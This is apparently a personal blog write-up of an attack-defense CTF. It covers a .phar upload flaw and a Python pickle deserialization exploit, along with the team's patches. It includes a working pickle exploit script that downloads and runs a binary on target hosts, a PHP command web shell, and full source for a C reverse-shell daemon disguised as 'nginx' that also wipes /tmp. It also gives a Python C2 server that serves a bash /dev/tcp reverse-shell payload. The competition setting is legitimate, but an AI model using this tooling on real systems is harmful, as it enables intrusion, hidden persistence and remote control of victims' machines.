Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon Siber Siaga I-Hack 2024 Semi-Final Attack Defense CTF Write-up

Super short intro


We played A&D and we ended up 2nd! (Team Kena Paksa). Also bagged the most attacking points for a challenge and first blood!

Image in a image block
za final scoreboard

Team Focus


Priority (highest to lowest)

  • Find exploit, put backdoor in our machine, clean all backdoor that is not ours, patch it. (Defense points are the highest)
  • Use the exploit, put backdoor in other team’s machine.
  • With the backdoor we have, monitor, kill/delete other team’s backdoor in our machine, and other affected team machine. (Basically doing the job of cleaning for other team)
  • Get flags from machines that we have access to.

Services


Menuboard


Exploitation

For this challenge, we didn’t solve it the intended way, and we are able to get the flags out for only few round (we couldn’t execute our backdoor in time)

Image in a image block

For some reason, we could read the Apache access logs on /var/log/menuboard/apache2_access.log and we found a payload which someone left.

Image in a image block

Through this method, we were able to get some of the flags out of the other machine.

Patching

We reused it and we were able to get single reverse shell to our own machine and patched it. Sadly, we weren’t able to put in our backdoor to other team machines in time for this challenge.

This is our first-simple-quick-aid patch, but it was killed quickly by other teams.

while true; do find /opt/menuboard/assets/uploads/img -type f -delete; sleep 0.5; done &

Based on the logs, we could see that the attackers are using .phar file to attack us. At first, we added .phar to the filter but somehow our flag still got leaked.

Image in a image block
add.php
Image in a image block

Last thing we did to patch the thing, is replacing the $file variable to a hard-codedmeoow.txt text. Not the best patch, but it is quick and effective. We got defense points in the final round for this.

Image in a image block

Feastify 🩸


Exploitation

We didn’t have any screenshots of the actual app because we never installed it. Instead, we decompiled the application with http://www.javadecompilers.com/apk and find any links or http endpoints in the .apk file.

A simple CTRL + SHIFT + F or grep in the decompiled folder would yield results.

Image in a image block

Looking at all the endpoints inside the decompiled source code, these specific lines of code seems to be the most interesting.

String base64Encoded = Base64.encodeToString(new Pickler().dumps(gson.toJson((Object) transformedOrder)), 2);
JsonObject jsonObject = new JsonObject();
jsonObject.addProperty("data", base64Encoded);
RequestBody body = RequestBody.create(gson.toJson((JsonElement) jsonObject), MediaType.parse("application/json; charset=utf-8"));
SharedPreferences sharedPreferences = getSharedPreferences("RestaurantPrefs", 0);
this.okHttpClient.newCall(new Request.Builder().url("https://" + sharedPreferences.getString("ip", (String) null) + ":8000/api/submit_order").header("User-Agent", UserAgentUtil.getDefaultUserAgent(this)).addHeader("Cookie", "session_id=" + sharedPreferences.getString("session_id", (String) null)).post(body).build()).enqueue

Browsing to the endpoint, it seems like it’s only allowing Android devices. But easily bypass-able because it seems to be checking against a User-Agent. We can easily use any valid Android User-Agent to access the page.

Image in a image block

Then I went on to read more on the source code. Tbh, I didn’t know that there’s a Pickle func/library in Java. Then, I went to the documentation of Pickler() and then found that it can be generated and be used for Python aswell!

Image in a image block

Looking at what we have now, it’s pretty straightforward that this seems to be Python Pickle deserialization challenge.

We quickly set-up a script for the exploitation. First thing we tried is to test if it can curl to our machine. Finally after confirming the exploit, we sent our compiled binary (backdoor) and executed it on other team machine.

Final exploit script:

class P(object):
    def __reduce__(self):
        return (os.system, (f"curl -o /tmp/mis {download_url} && chmod 777 /tmp/mis && /tmp/mis &",))

# Create an instance of class P
p = P()

# Serialize the instance and encode it in base64
payload = base64.b64encode(pickle.dumps(p)).decode()

def send_payload(host):
    url = f'https://{host}:8000/api/submit_order'
    headers = {
        "User-Agent": "Mozilla/5.0 (Linux; Android 11; Pixel 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36",
        "Content-Type": "application/json"
    }
    data = {"data": payload}
    
    try:
        response = requests.post(url, headers=headers, json=data, verify=False)
        print(f'Sent payload to {host}, response status code: {response.status_code}')
    except requests.RequestException as e:
        print(f'Error sending payload to {host}: {e}')
Patching

For this challenge, we found out the vulnerable part of the server code is the decode_and_deserialize() function.

def decode_and_deserialize(data):
    """Decodes and deserializes the data from base64 and pickle."""
    try:

        decoded_data = base64.urlsafe_b64decode(data)
        deserialized = pickle.loads(decoded_data)
        if isinstance(deserialized, str):
            deserialized = json.loads(deserialized)
        return deserialized, None

    except (base64.binascii.Error, pickle.UnpicklingError, json.JSONDecodeError) as err:
        return None, str(err)

pickle.loads() is dangerous because it allows any user to run any Pickle code, and achieve code execution.

What we did to patch this, is again, very simple. We replaced and hardcoded the pickle.loads(decoded_data) function value to empty string.

def decode_and_deserialize(data):
    """Decodes and deserializes the data from base64 and pickle."""
    try:

        decoded_data = base64.urlsafe_b64decode(data)
        deserialized = pickle.loads('')
        if isinstance(deserialized, str):
            deserialized = json.loads(deserialized)
        return deserialized, None

    except (base64.binascii.Error, pickle.UnpicklingError, json.JSONDecodeError) as err:
        return None, str(err)

Backdoor methods


There are few other tactics we prepared but did not employ during the competition due to restrictions and playing it safe to not grief other teams too much. (Our team somehow were fork bombed, luckily the restart request from organizer side was quick and we managed to patch it in time 😂)

PHP backdoor with IP block

<?php if(in_array($_SERVER["REMOTE_ADDR"], ["192.168.127.12"])) { echo "<s>" . system($_GET["cmd"]) . "</s>"; } echo $_SERVER["REMOTE_ADDR"]; ?>

Backdoor C binary source code with nginx as process name, sh as the child process. With auto-reconnection and /tmp cleaning. Can be detected with ps -ef --forest

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>

#define SLEEP_INTERVAL 30
#define CLEANUP_INTERVAL 1

void shell(const char *ip, int port) {
    int sockfd;
    struct sockaddr_in server_addr;

    while (1) {
        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
            sleep(SLEEP_INTERVAL);
            continue;
        }

        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(port);

        if (inet_pton(AF_INET, ip, &server_addr.sin_addr) <= 0) {
            close(sockfd);
            sleep(SLEEP_INTERVAL);
            continue;
        }

        if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
            close(sockfd);
            sleep(SLEEP_INTERVAL);
            continue;
        }

        pid_t pid = fork();
        if (pid < 0) {
            close(sockfd);
            sleep(SLEEP_INTERVAL);
            continue;
        }

        if (pid == 0) {
            dup2(sockfd, 0);
            dup2(sockfd, 1);
            dup2(sockfd, 2);
            execl("/bin/sh", "sh", NULL);
            close(sockfd);
            exit(EXIT_FAILURE);
        } else {
            wait(NULL);
            close(sockfd);
            sleep(SLEEP_INTERVAL);
        }
    }
}

void rename(const char *new_name, int argc, char *argv[]) {
    strncpy(argv[0], new_name, strlen(argv[0]));
    argv[0][strlen(new_name)] = '\0';

    for (int i = 1; i < argc; i++) {
        memset(argv[i], 0, strlen(argv[i]));
    }
}

void clean() {
    DIR *dir;
    struct dirent *entry;
    struct stat statbuf;

    if ((dir = opendir("/tmp")) == NULL) {
        return;
    }

    while ((entry = readdir(dir)) != NULL) {
        char filepath[1024];
        snprintf(filepath, sizeof(filepath), "/tmp/%s", entry->d_name);
        if (stat(filepath, &statbuf) == 0 && S_ISREG(statbuf.st_mode)) {
            remove(filepath);
        }
    }

    closedir(dir);
}

void daemon() {
    while (1) {
        clean();
        sleep(CLEANUP_INTERVAL);
    }
}

int main(int argc, char *argv[]) {
    pid_t pid, sid;
    const char *ip = "192.168.127.11";
    int port = 7655;

    pid = fork();

    if (pid < 0) {
        exit(EXIT_FAILURE);
    }

    if (pid > 0) {
        exit(EXIT_SUCCESS);
    }

    umask(0);

    sid = setsid();
    if (sid < 0) {
        exit(EXIT_FAILURE);
    }

    if ((chdir("/")) < 0) {
        exit(EXIT_FAILURE);
    }

    close(STDIN_FILENO);
    close(STDOUT_FILENO);
    close(STDERR_FILENO);

    rename("nginx", argc, argv);

    pid = fork();

    if (pid < 0) {
        exit(EXIT_FAILURE);
    }

    if (pid == 0) {
        daemon();
        exit(EXIT_SUCCESS);
    }

    while (1) {
        shell(ip, port);
        sleep(SLEEP_INTERVAL);
    }

    return EXIT_SUCCESS;
}

C2 to receive all the reverse shell connections and log the output

import os
import socket
import threading
import time
from datetime import datetime
from rich.console import Console
from rich.panel import Panel
from flask import Flask, request
import signal
import sys

clients = []
clients_info = {}
console = Console()
app = Flask(__name__)
fixed_port = 7655

def handle_client(client_socket, addr, port):
    clients.append(client_socket)
    clients_info[client_socket] = addr
    session_id = addr[1]
    ip_dir = f"connections/{addr[0]}"
    port_dir = f"{ip_dir}/{session_id}"
    os.makedirs(port_dir, exist_ok=True)
    log_file = os.path.join(port_dir, "log.txt")

    try:
        while True:
            data = client_socket.recv(4096)
            if not data:
                break
            decoded_data = data.decode('utf-8')
            timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
            console.print(Panel(decoded_data, title=f"Host {addr[0]}:{session_id}", subtitle=timestamp, border_style="blue"))
            with open(log_file, "a") as f:
                f.write(f"[{timestamp}] {decoded_data}\n")
    except ConnectionResetError:
        pass
    finally:
        client_socket.close()
        clients.remove(client_socket)
        del clients_info[client_socket]
        console.print(f"Connection from {addr} closed.", style="bold red")

def start_server(host, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)
    console.print(f"[*] Listening on {host}:{port}", style="bold green")
    threading.Thread(target=accept_connections, args=(server, port)).start()

def accept_connections(server, port):
    while True:
        client_socket, addr = server.accept()
        console.print(f"[*] Accepted connection from {addr}", style="bold green")
        client_handler = threading.Thread(target=handle_client, args=(client_socket, addr, port))
        client_handler.start()

def send_command_to_all(command):
    for client in clients:
        try:
            client.send((command + '\n').encode('utf-8'))
            addr = clients_info[client]
            session_id = addr[1]
            ip_dir = f"connections/{addr[0]}"
            port_dir = f"{ip_dir}/{session_id}"
            log_file = os.path.join(port_dir, "commands.txt")
            with open(log_file, "a") as f:
                timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
                f.write(f"[{timestamp}] {command}\n")
        except BrokenPipeError:
            clients.remove(client)
            del clients_info[client]

def generate_payload(ip, port):
    payload = f"nohup sh -c '(while true; do bash -i >& /dev/tcp/{ip}/{port} 0>&1; sleep 10; done)' >/dev/null 2>&1 &"
    return payload

@app.route('/access.log', methods=['GET'])
def serve_payload():
    ip = request.remote_addr
    payload = generate_payload(ip, fixed_port)
    return payload, 200, {'Content-Type': 'text/plain'}

def send_heartbeat():
    while True:
        time.sleep(30)
        for client in clients:
            try:
                client.send(b'\n')
            except BrokenPipeError:
                clients.remove(client)
                del clients_info[client]

def signal_handler(sig, frame):
    console.print("[*] Termination signal received. Cleaning up...", style="bold yellow")
    for client in clients:
        client.close()
    sys.exit(0)

if __name__ == "__main__":
    host = "0.0.0.0"
    os.makedirs("connections", exist_ok=True)
    start_server(host, fixed_port)
    threading.Thread(target=lambda: app.run(host=host, port=9999)).start()
    threading.Thread(target=send_heartbeat, daemon=True).start()
    signal.signal(signal.SIGINT, signal.SIG_IGN)
    signal.signal(signal.SIGTERM, signal_handler)
    signal.signal(signal.SIGUSR1, signal_handler)

    while True:
        command = input("Enter command to send to all clients: ")
        send_command_to_all(command)

Final thoughts


I have always been waiting for A&D CTF in Malaysia, and even though this A&D is not the normal kind we’ve seen, it is still quite enjoyable to me. Props to the organizers for organizing and handling the CTF. To more A&Ds in Malaysia <3

Thanks for reading my write-up!